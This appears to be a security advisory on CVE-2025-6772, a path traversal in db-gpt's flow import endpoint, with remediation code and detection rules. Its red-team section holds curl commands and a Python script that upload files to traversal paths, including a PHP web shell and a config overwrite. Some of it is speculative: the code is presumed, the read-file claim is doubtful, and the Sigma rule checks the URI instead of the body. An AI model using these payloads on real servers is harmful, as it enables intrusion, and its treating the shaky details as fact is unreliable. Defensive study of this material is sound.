CVE-2025-6772

Executive Summary

CVE-2025-6772 is a critical path traversal vulnerability discovered in the eosphoros-ai/db-gpt project, affecting versions up to and including 0.7.2. The vulnerability resides in the /api/v2/serve/awel/flow/import endpoint, specifically within the import_flow function. By manipulating the File argument, an unauthenticated remote attacker can traverse directories outside the intended upload directory, potentially reading, writing, or overwriting arbitrary files on the server. This can lead to full system compromise, including remote code execution if the attacker can write to a web-accessible directory or overwrite critical application files. The exploit has been publicly disclosed, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability affects the db-gpt Python package, which is distributed via PyPI. Organizations using db-gpt in their AI/LLM workflows should immediately assess their exposure. Since the package is open source and the vulnerability is unpatched, users must either apply a manual workaround or temporarily disable the affected endpoint until an official patch is released. The supply chain risk is elevated because the package may be pulled into container images or deployed in CI/CD pipelines without proper security review.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high CVSS score reflects the ease of exploitation (no authentication required, low complexity) and the severe impact on confidentiality, integrity, and availability. An attacker can read sensitive files (e.g., configuration files, database credentials) and write malicious files (e.g., web shells, cron jobs) to achieve remote code execution.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) flaw in the import_flow function of the /api/v2/serve/awel/flow/import endpoint. The application fails to properly sanitize the user-supplied filename in the File parameter. When the server processes the uploaded file, it constructs a file path by concatenating a base directory with the user-provided filename without validating that the resulting path remains within the intended directory.

For example, an attacker can submit a filename like ../../etc/passwd to read the system's password file, or ../../var/www/html/shell.php to write a PHP web shell to a web-accessible directory. The server's file handling logic likely uses a function similar to os.path.join(base_dir, filename) without checking for .. sequences.

The endpoint is designed to import flow definitions (likely JSON or YAML files) into the db-gpt workflow engine. The lack of input validation on the filename allows the attacker to escape the intended upload directory.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is presumed to be in the import_flow function. A typical vulnerable implementation might look like:

# Vulnerable code (conceptual)
@app.route('/api/v2/serve/awel/flow/import', methods=['POST'])
def import_flow():
    file = request.files['File']
    filename = file.filename
    # No sanitization of filename
    file.save(os.path.join('/app/uploads', filename))
    return 'OK', 200

A patched version would sanitize the filename by:

1. Rejecting any filename containing .. or /.
2. Using a secure filename generation method (e.g., UUID).
3. Validating that the final path is within the intended directory.

# Patched code (conceptual)
import os
import uuid

@app.route('/api/v2/serve/awel/flow/import', methods=['POST'])
def import_flow():
    file = request.files['File']
    # Generate a safe filename
    safe_filename = str(uuid.uuid4()) + '_' + secure_filename(file.filename)
    # Ensure the path is within the upload directory
    upload_dir = '/app/uploads'
    file_path = os.path.join(upload_dir, safe_filename)
    if not os.path.realpath(file_path).startswith(os.path.realpath(upload_dir)):
        return 'Invalid path', 400
    file.save(file_path)
    return 'OK', 200

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Target running db-gpt <= 0.7.2 with the /api/v2/serve/awel/flow/import endpoint exposed.
• Network access to the target.

Exploit Steps:

1. Read a sensitive file (e.g., /etc/passwd):

   curl -X POST -F "File=@/dev/null;filename=../../etc/passwd" http://target:5000/api/v2/serve/awel/flow/import
   

   Note: The server may return the file content in the response or write it to a location the attacker can access.

2. Write a web shell (if the server has a web-accessible directory):

   echo '<?php system($_GET["cmd"]); ?>' > shell.php
   curl -X POST -F "File=@shell.php;filename=../../var/www/html/shell.php" http://target:5000/api/v2/serve/awel/flow/import
   

   Then access the shell: http://target/shell.php?cmd=id

3. Overwrite a critical application file (e.g., config.py):

   echo 'malicious config' > evil_config.py
   curl -X POST -F "File=@evil_config.py;filename=../../app/config.py" http://target:5000/api/v2/serve/awel/flow/import
   

Automated Exploit (Python):

import requests

target = "http://target:5000"
payload = "../../etc/passwd"
files = {'File': (payload, 'dummy content')}
r = requests.post(f"{target}/api/v2/serve/awel/flow/import", files=files)
print(r.text)

Blue Team (Defense & Detection)

Immediate Actions:

1. Disable the endpoint if not required: Block /api/v2/serve/awel/flow/import at the reverse proxy or WAF.
2. Apply input validation manually: Add a middleware that rejects filenames containing .. or /.
3. Monitor logs for unusual file uploads with path traversal patterns.

Detection Rules:

• Monitor for HTTP POST requests to /api/v2/serve/awel/flow/import with filenames containing .. or /.
• Alert on file writes outside the intended upload directory.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /api/v2/serve/awel/flow/import with filenames containing ../ or ..\\.
  • Outbound connections from the server to unknown IPs (if web shell is used).
• File System IOCs:
  • Unexpected files in /app/uploads/ or other directories (e.g., shell.php, evil_config.py).
  • Modified application files (e.g., config.py, main.py).
• Process IOCs:
  • Unusual processes spawned by the web server (e.g., bash, nc, python reverse shell).
• Log IOCs:
  • Application logs showing file paths with ../ sequences.
  • Web server logs with 200 responses to the vulnerable endpoint with suspicious filenames.

Detection Engineering

YARA Rule

rule CVE_2025_6772_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in HTTP requests to db-gpt import_flow endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-6772"
    strings:
        $traversal1 = ".." ascii wide nocase
        $traversal2 = "%2e%2e" ascii wide nocase
        $endpoint = "/api/v2/serve/awel/flow/import" ascii wide nocase
    condition:
        $endpoint and any of ($traversal*)
}

Sigma Rule

title: CVE-2025-6772 Path Traversal in db-gpt import_flow
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects path traversal attempts targeting the db-gpt import_flow endpoint
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-6772
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/v2/serve/awel/flow/import'
    filter:
        cs-uri-query|contains: '..'
    condition: selection and filter
falsepositives:
    - Legitimate use of dots in filenames (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-6772 Path Traversal in db-gpt import_flow"; flow:to_server,established; content:"POST"; http_method; content:"/api/v2/serve/awel/flow/import"; http_uri; content:".."; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Mitigation (No Patch Available):

1. Disable the vulnerable endpoint by adding a rule in your reverse proxy (e.g., Nginx, Apache) to block POST requests to /api/v2/serve/awel/flow/import.
2. Implement a WAF rule to block filenames containing .. or /.
3. Restrict file upload permissions so the web server cannot write to sensitive directories.
4. Monitor and audit file upload logs for suspicious activity.

Long-Term Fix:

• Apply input validation to sanitize filenames (reject .., /, null bytes).
• Use a secure filename generation method (e.g., UUID) and store the original filename separately.
• Ensure the final file path is within the intended directory using os.path.realpath().
• Upgrade to a patched version once released by the vendor.

Workaround Code (if you can modify the application): Add the following validation before saving the file:

import os
from werkzeug.utils import secure_filename

def safe_import_flow(file):
    filename = secure_filename(file.filename)
    if not filename:
        return 'Invalid filename', 400
    upload_dir = '/app/uploads'
    file_path = os.path.join(upload_dir, filename)
    if not os.path.realpath(file_path).startswith(os.path.realpath(upload_dir)):
        return 'Invalid path', 400
    file.save(file_path)
    return 'OK', 200

Valters IT
Securing Digital Frontiers